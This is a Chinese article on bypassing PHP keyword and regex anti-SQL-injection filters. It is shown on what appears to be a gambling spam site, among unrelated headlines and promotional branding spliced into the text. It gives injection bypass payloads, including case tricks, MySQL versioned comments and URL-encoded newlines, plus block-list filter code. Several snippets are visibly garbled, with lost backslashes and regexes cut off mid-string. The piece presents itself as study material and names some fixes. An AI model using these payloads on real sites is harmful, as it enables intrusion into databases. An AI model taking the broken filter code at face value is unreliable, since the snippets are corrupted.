太阳集团2138备用网址

  • 防弹少年团金泰亨蓝发登各国热搜 玩儿转红粉金黑棕各种发色实力演绎“有颜任性”【组图】 2019-04-25
  • 龙烨为袁竹逍遥画派配画诗欣赏之三 2019-04-25
  • 因应增值税下调 多个豪车品牌在华降价 2019-04-25
  • “小屏论”话两会:“习语”暖人心 2019-04-25
  • 低价 贴心 保障 国美3.15,为消费者保驾护航低价贴心保障 国美315,为消费者保驾护航-国美 2019-04-25
  • 中央政治局同志向党中央和习近平总书记述职 2019-04-25
  • China Daily Website 2019-04-25
  • 【守护好我们的美丽家园】新疆的明天一定会更好 2019-04-25
  • 22年后紫霞仙子归来 可至尊宝已经不是他了 2019-04-25
  • 【独家V观】你好 意大利 2019-04-25
  • 合肥一文化公司人去楼空老板跑路 老人购买保健品被骗上万元 2019-04-25
  • 北京二手房交易实现一网通办 20分钟就办完 ——凤凰网房产北京 2019-04-25
  • NBA史上最牛的9大名帅 波波在这里只能排倒三 2019-04-25
  • 《阿丽塔》要和《流浪地球》抢票房 2019-04-24
  • 百城住宅均价环比涨幅持续收窄 变化大多在1%内 2019-04-24
  • 欢迎来到 黑吧太阳集团2138备用网址 是业内专业的游戏平台,为你提供各式各样的精品游戏,最全的游戏项目,同时还为您提供各种游戏专题游戏攻略人气论坛。

    PHP代码层防护与绕过

    来源:本站整理 作者:佚名 时间:2019-02-25 TAG: 我要投稿

    太阳集团2138备用网址 www.r-island.com 0x01 前言
      在一些网站通常会在公用文件引入全局防护代码进行SQL注入XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
      这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。
    Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
    0x02 关键字过滤
    1、使用strpos过滤关键字
    PHP过滤代码如下:
    $str = "and|or|union|select|from|where|limit|order by|guoup by||";$arr=explode("|",$str);#print_r($arr);foreach($arr as $key=>$val){$flag=strpos($_GET['id'],$val);if ($flag){    echo 'Error';    exit();}}?>
    Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
    大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
    2、使用stripos,进行关键字过滤
       与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    PHP过滤代码如下:
    $str = "and|or|union|select|from|where|limit|order by|guoup by||";$arr=explode("|",$str);#print_r($arr);foreach($arr as $key=>$val){$flag=strpos($_GET['id'],$val);if ($flag){    echo 'Error';    exit();}}?>
    Bypass思路:
    当$flag等于0,即关键字在输入参数的第一位,可绕过
    id=xsstest
    关键字过滤类似的方法:
    $blacklist_keywords = 'select,from,1=1,--,union,#';$blacklist = explode(',',$blacklist_keywords);print_r($blacklist);foreach($blacklist as $key=>$value){    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));                   $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);}echo $_REQUEST['id'];?>
    0x03 正则匹配
    1、边界关键词
    b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
    PHP过滤代码如下:
    if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){     echo "Error";    exit();}echo "success" ;?>
    Bypass思路:
    通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
    id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
    2、匹配模式
    i 忽略大小写,匹配不考虑大小写,默认不匹配多行
    PHP过滤代码如下:
    if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){     echo "Error";    exit();}echo "success" ;?>
    Bypass思路:
    通过换行 n可绕过,url编码为%0a
    id=1 union%23%0aseleCT 1,2,3,4 from users
    修复方案:
      preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
    0x04 PHP通用防护代码
    1、safe3 防注入代码
    //Code By Safe3 ini_set('date.timezone','Asia/Shanghai');function customError($errno, $errstr, $errfile, $errline){    echo "Error number: [$errno],error on line $errline in $errfile";    die();}set_error_handler("customError",E_ERROR);$getfilter="'|select|from|(and|or)\b.+?(>|$postfilter="\b(and|or)\b.{1,6}?(=|>|$cookiefilter="\b(and|or)\b.{1,6}?(=|>|function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){    if(is_array($StrFiltValue))    {        $StrFiltValue=implode($StrFiltValue);    }    if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){        slog("
    操作IP: ".$_SERVER["REMOTE_ADDR"]."
    操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."
    操作页面:".$_SERVER["PHP_SELF"]."
    提交方式: ".$_SERVER["REQUEST_METHOD"]."
    提交参数: ".$StrFiltKey."
    提交数据: ".$StrFiltValue);        @header("http/1.1 404 not found");         print "404: Not Found";        //slog("
    操作IP: ".$_SERVER["REMOTE_ADDR"]."
    操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."
    操作页面:".$_SERVER["PHP_SELF"]."
    提交方式: ".$_SERVER["REQUEST_METHOD"]."
    提交参数: ".$StrFiltKey."
    提交数据: ".$StrFiltValue);        print "Url里含有非法字符串,属于有误操作!... 您还可以返回首页";  ;exit();    }}//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);foreach($_GET as $key=>$value){    StopAttack($key,$value,$getfilter);}foreach($_POST as $key=>$value){    StopAttack($key,$value,$postfilter);}foreach($_COOKIE as $key=>$value){    StopAttack($key,$value,$cookiefilter);}function slog($logs){    $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";    $Ts=fopen($toppath,"a+");    fputs($Ts,$logs."rn");    fclose($Ts);}?>

    [1] [2]  下一页

    【声明】:太阳集团2138备用网址(http://www.r-island.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@www.r-island.com,我们会在最短的时间内进行处理。
    • 最新更新
      • 相关阅读
        • 本类热门
          • 最近下载